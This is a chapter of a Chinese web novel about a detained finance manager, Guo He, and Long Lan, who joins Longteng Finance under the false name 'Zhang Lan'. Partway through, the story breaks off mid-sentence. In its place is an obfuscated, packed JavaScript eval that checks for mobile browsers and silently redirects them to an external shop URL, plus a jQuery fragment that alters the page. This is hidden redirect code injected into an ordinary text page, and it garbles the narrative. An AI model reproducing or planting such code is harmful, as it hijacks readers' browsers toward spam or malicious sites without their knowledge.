早上六点半，监区起床铃刚响。
灯一下全亮，白得发硬。床板、塑料盆、鞋底摩地的声音一齐冒出来，像有人故意把每个早晨都做成同一个样子。越一样，越让人分不清危险是从哪一秒开始的。
郭河坐起来，先摸枕套。
里面那点昨晚塞进去的碎纸少了一角。
他动作停了停，手指又慢慢收回去，像什么都没发现。
旁边的人正在套外衣，没人看他，偏偏这种不看比盯着还更像知道。郭河下床时，鞋尖刚碰到地，一个塑料饭盒就从前面递过来，递到一半又故意一晃，汤水泼到地上，顺着他鞋边流开。
“不好意思。”对方嘴上说着，脸上没一点不好意思。
另一个人从后面挤过来，鞋底正踩在他鞋背上，力不重，刚好够脏一层。
郭河抬了下眼，没发作。
他现在知道，发作是最没用的一种反应。这里不是公司，也不是酒桌，别人不是来跟他争一口气，是在看他还能不能稳。
排队打饭时，斜后方那人像闲聊一样问了一句：“你在外面职位不低吧？”
郭河没回。
那人又说：“听说你外面还有个女的，跟龙家有点关系？”
郭河这才偏了下头，看了他一眼。
对方已经低头去接饭，语气轻得像刚才只是随口乱扯。
可郭河知道，不是。
这些人知道得太具体，具体到不像猜，像有人提前喂了词。龙腾金融，市场部，女人，龙家。词都不重，连起来就是一根绳，正一点点往他脖子上绕。
他端着饭盒坐回床边，没吃两口，胃里就往上顶。
越是在这种地方，脑子越要先走一步。
既然外面的人已经把手伸进来，他手里那点还没被抽走的东西，就得比他们更快送出去。
上午十点四十，会见室。
隔断玻璃擦得很亮，亮到能照见人脸上的灰。桌上固定电话旧得发黄，旁边一张会见登记表压在玻璃下，字迹整整齐齐，像连人在这里说什么，都该先归进哪一栏。
郭河坐下后，先没看对面的人。
不是原来那个律师。
是个年轻男人，西装不旧，公文包也很新，坐姿很稳，稳得像专门练过怎么把一句不该多说的话说得像例行提醒。
“原来那位临时有事，我替他过来。”对方说。
郭河拿起电话，喉咙有点干：“你姓什么不重要。你记住我下面说的。”
对方点了下头。
郭河把声音压得很低，低到几乎只够电话线里那一头听见。
“去查郭凯手里那份原始合同副本。”
“还有这几家壳公司。”他报了三个名字，又报了一串编号，“时间、回流、补签顺序，全不对。”
对面男人原本还算职业的表情，慢慢收了一层。
“我现在不是让你替我打官司。”郭河盯着他，“我让你去碰一个口。碰对了，会有人比我更着急。”
对方沉默两秒，才开口：“你先稳住现在的口供。”
“别把所有线一起往外扯。”
郭河后槽牙一点点咬紧：“你也怕，是吧？”
“不是怕。”对方把手按在登记表边上，“是你现在说的每一个名字，都可能让你自己更快回不去。”
郭河盯着他。
他当然听得懂这句。
也正因为听得懂，才更清楚，连这条路也不干净了。
对方站起来前，还是看了他一眼，那一眼不算同情，更像一种不愿深碰的提醒。
“有些话，”他说，“你最好想清楚再往外带。”
门开了又关。
郭河坐在原地，电话已经挂断，掌心还压着听筒。
他没有得到任何实质承诺。
但至少确认了一件事——他手里那些碎片，确实够让外面的人不舒服。要不然，不会连替他说话的人，都先学会把身子往后缩。
同一时间，城西一处旧小区出租屋。
窗帘拉了一半，日光切进来，落在桌上一只牛皮纸袋和一张崭新的工牌上。
龙兰坐在床边，把袋里的东西一件件拿出来。
入职通知。
临时住址证明。
一张重新做过的简历。
最后是工牌。
她用拇指擦了一下塑封面，低头看着上面的名字。
张兰。
字印得很正，很普通，普通得像这座城里任何一个刚进写字楼、只会低头跑流程的小秘书。
她把旧手机卡取出来，掰成两截，扔进桌角那只空烟盒里。又拉开抽屉，把一张写着“龙兰”的旧便签压到最底下。上面还压着一张褪色票根和半张旧照片，她没翻，也没停。
抽屉推进去，声音不大。
像给另一个名字临时盖棺。
她走到镜子前，试着把肩背放松一点，把眼神压平，把说话时尾音里那点太硬的东西收掉。
“资料我来送。”
“会议纪要已经改好了。”
“我按流程走。”
她一句句试，声音不高，不软，也不露刺。
她不是进去救谁。
也不是进去讨什么迟来的公道。
她要拿的是能让龙家看见她、甚至不得不跟她谈价的东西。证据、路径、旧账、谁碰谁死的那一层钱。别的都没用。
镜子里的人看上去很薄，很安静，安静得像随手就能被忽略。
正因为这样，才更容易进去。
她把工牌挂到脖子上，又很快摘下来，重新放回桌上，和钥匙、门禁卡摆在一起。
每样东西的位置都摆得很正。
像她今天开始的新身份。
中午十一点，龙腾金融二十四层财务办公室。
郭凯一边看人事邮件，一边签权限交接单。
屏幕右侧还停着郭河那批客户的重分名单，几行名字已经被他改成项目编号，不留经办人痕迹。左边新弹出来的是新员工入职表，董事办一栏多了几个人。
他翻得很快。
翻到第三页时，手指停了一下。
照片不大，白底，头发束着，妆很淡。简历干净，经历也普通，普通到像专门做过修边，不让任何一段长得太突出。
姓名栏写着：张兰。
郭凯盯着那张照片看了两秒，又把页面往前翻了一页。
接着，他又翻了回来。
不是认出来了什么。
是一种说不上来的眼熟。
也可能不是脸眼熟。
是那种太收着、太干净、干净得像专门给人看的普通，让他本能不太喜欢。
旁边助理进来送签字单：“郭总，这批新人名单还要同步给董事办吗？”
郭凯把交接单签完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554586|204417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，笔帽扣上。
“照流程发。”
他嘴里这么说，视线却还停在那张照片上。
张兰。
他把这页单独往旁边拖了半寸，没有做任何备注，也没有立刻深查。
只是没让它滑过去。
工位上电话响了两声，他这才抬手接起。
另一边在问旧项目权限是不是今天全切。
郭凯淡淡“嗯”了一声，目光仍落在屏幕右下角那张小小证件照上。
人是新的。
可这张脸进来的时间点，太不新了。
下午一点十分，龙腾金融所在写字楼一层大堂。
地砖亮得发冷，闸机前排着入场的人，门禁刷卡声一下一下，很轻，却有种把人分层的明确。
龙兰从玻璃门外进来。
她今天穿得很简单，白衬衫，深色半裙，头发扎紧，包也轻。所有能让人多看一眼的地方都被她压掉了，只剩工牌挂在胸前，随着步子很轻地晃。
张兰。
她把门禁卡贴上去，绿灯亮起。
就在这时，侧门那边也开了。
两名办案人员带着郭河从物业协查室方向出来，准备上车转去补材料。手续夹在最前面的人手里，白纸黑字压得很平，像人不过是流程里一段会移动的附件。
郭河走得不快。
他这两天像老了不止一点，胡茬冒出来，眼下青得发灰，可眼神还在动，动得比前几天更阴，更像在一堆已经来不及的事里继续找能卖的那一件。
他本来只是随意往大堂那边扫了一眼。
先看见的是一个背影。
细、直、走路时肩背收得很稳。
他的脚步顿了半拍。
办案人员催了一句：“走。”
郭河没立刻动，视线追过去。
那人正好侧了下脸，去接前台递来的访客签字板。只是侧过来那一瞬，鼻梁、下颌、眼角压着不动的那点劲，全都太熟了。
不是像。
就是。
郭河喉结猛地滚了一下。
龙兰像是察觉到什么，抬起眼，朝这边看过来。
这一眼很短。
短到没有半分旧情，也没有半分慌。
只是确认。
确认他看见了。
然后她把视线收回去，像什么都没发生，转身往闸机里走。
郭河的目光却钉在了她胸前那块工牌上。
塑封片很干净，黑字清楚。
张兰。
他整个人像被什么东西迎面砸了一下，脚底猛地发空。
不是因为她换了个名字。
是因为到这一刻他才真正明白——她不是在外面看着他死，她是踩着他死后空出来的位置，自己走进去了。
办案人员伸手推了他一下。
“别停。”
郭河被推得往前一步，还是回了下头。
龙兰已经刷卡进门，闸机在她身后合上，动作流畅，像她本来就该属于里面。
玻璃门、门禁、工牌、白衬衫。
一切都很正常。
正常得像一场早就排好的换位。
郭河嘴唇动了动，没发出声音。
他终于认出来了。
张兰，就是龙兰。
而他被关进笼子，不是这件事的结尾。
是她走进兽笼的开头。